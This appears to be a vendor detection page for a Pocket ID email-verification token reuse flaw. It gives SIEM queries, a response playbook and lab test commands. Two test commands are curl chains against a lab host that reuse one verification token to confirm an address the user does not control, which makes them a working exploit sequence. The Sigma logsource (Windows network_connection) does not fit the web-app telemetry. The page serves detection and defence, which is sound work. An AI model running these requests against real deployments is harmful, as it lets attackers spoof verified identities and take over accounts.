Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770)
Detects exploitation of CVE-2026-115770 in Pocket ID (github.com/pocket-id/pocket-id/backend < v2.12.0 / 0.0.0-20260727180059-43aaccd5bfac). An email verification token issued for one address remains valid after the user changes their email, letting an attacker verify an arbitrary address they do not control (or spoof a verified address) by reusing a previously-issued token. This breaks authenticity of the verified-email claim (CWE-345). Detection focuses on Pocket ID backend application/access logs: verification-confirmation requests whose token was issued for a different email than the one being confirmed, email-change events closely followed by verification success, and anomalous reuse of verification tokens. Severity reflects CVSS 9.6 and public PoC availability.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- go
- Product
- github.com/pocket-id/pocket-id/backend
- Versions
- < 0.0.0-20260727180059-43aaccd5bfac
Weakness (CWE)
Timeline
- Disclosed
- November 9, 2026
References & Proof of Concept
- https://github.com/pocket-id/pocket-id/security/advisories/GHSA-rm8c-2cv8-jwf6
- https://nvd.nist.gov/vuln/detail/CVE-2026-115770
- https://github.com/pocket-id/pocket-id/pull/1625
- https://github.com/pocket-id/pocket-id/commit/43aaccd5bfacb76283b11ce039fb3f0716196fcb
- https://github.com/pocket-id/pocket-id/releases/tag/v2.12.0
- https://github.com/advisories/GHSA-rm8c-2cv8-jwf6
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- Low
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
What is CVE-2026-115770 Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770)?
Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770) (CVE-2026-115770) maps to the Credential Access and Privilege Escalation tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770), covering the data sources and telemetry it touches: Pocket ID backend application logs, Reverse proxy / ingress access logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
// df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence
// Pocket ID email verification token reuse / cross-address confirmation (CVE-2026-115770)
// Expects Pocket ID backend request logs ingested as a custom table (PocketID_CL).
PocketID_CL
| where TimeGenerated > ago(24h)
| where RequestPath_s has_any ("/api/users/email/verify", "/api/verify-email", "email-verification", "/verify-email")
| where EventType_s in~ ("email_change", "email_verify_confirm", "email_verify_request")
| summarize events = make_list(pack("ts", TimeGenerated, "type", EventType_s, "email", TargetEmail_s, "token", TokenId_s, "status", StatusCode_d), 50),
tokens = make_set(TokenId_s), emails = make_set(TargetEmail_s), types = make_set(EventType_s)
by UserId_s, SourceIP = ClientIP_s
// A single token used to confirm a different address than it was issued for, or >1 distinct email confirmed per token
| where array_length(emails) > 1 and types has "email_verify_confirm"
| project UserId_s, SourceIP, emails, tokens, types, events
| extend Severity = "critical", CVE = "CVE-2026-115770" Flags Pocket ID users/IPs where a single verification token or session is associated with confirmation of more than one distinct email address, the core abuse pattern of the token-reuse-after-email-change flaw.
Data Sources
Required Tables
False Positives
- Legitimate user who intentionally changes their email and re-verifies a new address within the same session window
- Shared NAT/corporate egress IP where multiple distinct users verify emails from the same SourceIP
- QA or staging automation exercising the verification flow with multiple test addresses
- Admin-driven bulk email reassignment where multiple addresses are legitimately confirmed
Query fingerprint DF00-57843af694 · licence
Sigma logsource & community rules
The detection logic for Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770) (CVE-2026-115770) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-115770
References (6)
- https://github.com/pocket-id/pocket-id/security/advisories/GHSA-rm8c-2cv8-jwf6
- https://nvd.nist.gov/vuln/detail/CVE-2026-115770
- https://github.com/pocket-id/pocket-id/pull/1625
- https://github.com/pocket-id/pocket-id/commit/43aaccd5bfacb76283b11ce039fb3f0716196fcb
- https://github.com/pocket-id/pocket-id/releases/tag/v2.12.0
- https://github.com/advisories/GHSA-rm8c-2cv8-jwf6
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Reuse verification token across email change
Expected signal: email_verify_request for [email protected], email_change to [email protected], and email_verify_confirm whose token_issued_for != target_email.
- Test 2 Single token confirms two distinct addresses
Expected signal: Two email_verify_confirm events sharing one token_id but with distinct target_email values.
- Test 3 Baseline benign re-verification (negative test)
Expected signal: A single token_id issued for and confirming the same address [email protected]; no issued_for/target mismatch.
Response Playbook
Triage
- Confirm the Pocket ID backend version; versions earlier than v2.12.0 / 0.0.0-20260727180059-43aaccd5bfac are affected by CVE-2026-115770.
- For the alerting user/token, pull all email_verify_request and email_verify_confirm events and compare the address a token was issued for against the address it ultimately confirmed, a mismatch confirms token reuse.
- Identify the final verified email on the account and check whether it points to a domain the legitimate user does not control.
- Review whether the newly verified email was subsequently used for password reset, SSO claim issuance, or privilege/role assignment within Pocket ID.
Containment
- Invalidate all outstanding email verification tokens and force re-verification for the affected account(s).
- Revert any email address changes confirmed via a reused token and lock the account pending identity re-confirmation.
- Upgrade the Pocket ID backend to v2.12.0 (commit 43aaccd5bfac) or later so tokens are invalidated on email change.
Evidence Collection
- Export the full verification event chain (request, change, confirm) with token IDs, target emails, source IPs and timestamps for the affected account.
- Capture Pocket ID audit logs for any downstream actions (logins, OIDC token issuance, role changes) performed under the spoofed verified email.
Escalation Criteria
- ! Escalate to IR if a reused token verified an email that was then used to authenticate, reset credentials, or obtain elevated/SSO access.
- ! Escalate to the application owner if multiple accounts show cross-address verification, indicating active exploitation rather than an isolated anomaly.
Investigation Guide
Forensic Artifacts
- >
Pocket ID verification token records showing issued_for email vs. confirmed email - >
Account email-change audit entries with timestamps and source IP - >
OIDC/SSO token issuance logs tied to the spoofed verified email
Tuning Guidance
Baseline normal email-change-then-reverify behavior per user; most benign cases reuse a token only for the same address or issue a fresh token. Require a mismatch between token issued_for and confirmed email, or more than one distinct confirmed email per token, to reduce noise. Exclude known QA/automation accounts and shared egress IPs. After upgrading to v2.12.0, tokens are invalidated on email change, so any residual mismatch hits should be treated as high-fidelity.
Hunting Queries
Surfaces any verification confirmation where the token was issued for a different address than the one being confirmed, a direct indicator of CVE-2026-115770 abuse.
// df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence
PocketID_CL | where EventType_s == "email_verify_confirm" | where TokenIssuedFor_s != TargetEmail_s | project TimeGenerated, UserId_s, TokenId_s, TokenIssuedFor_s, TargetEmail_s, ClientIP_s ``` df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence ```
index=pocketid event_type=email_verify_confirm token_issued_for!=target_email | table _time user_id token_id token_issued_for target_email src_ip Atomic Red Team Tests
Request a verification token for address A, change the account email to attacker-controlled address B, then submit the original token to confirm B as verified.
Command
TOKEN=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'; curl -s -X POST http://pocketid.lab/api/users/me/email/verify -H "Authorization: Bearer $JWT" -d "{\"token\":\"$TOKEN\"}" Cleanup
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' Expected Telemetry
email_verify_request for [email protected], email_change to [email protected], and email_verify_confirm whose token_issued_for != target_email.
Expected Detection
Detection fires on token/user confirming more than one distinct email and on issued_for vs confirmed mismatch.
Issue one verification token and attempt to confirm two different email addresses with it.
Command
TOKEN=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email/verify -d "{\"token\":\"$TOKEN\",\"email\":\"[email protected]\"}"; curl -s -X POST http://pocketid.lab/api/users/me/email/verify -d "{\"token\":\"$TOKEN\",\"email\":\"[email protected]\"}" Cleanup
echo 'no persistent state; reset lab account email if changed' Expected Telemetry
Two email_verify_confirm events sharing one token_id but with distinct target_email values.
Expected Detection
distinct_emails>1 per token condition triggers the detection.
Perform a normal email change where a fresh token is issued and used only for the new address, to confirm the detection does not false-positive.
Command
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'; T=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email/verify -H "Authorization: Bearer $JWT" -d "{\"token\":\"$T\"}" Cleanup
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' Expected Telemetry
A single token_id issued for and confirming the same address [email protected]; no issued_for/target mismatch.
Expected Detection
No alert expected, single token maps to one email and issued_for matches confirmed email.
Related Detections
Related Techniques
Same Tactic: Credential Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040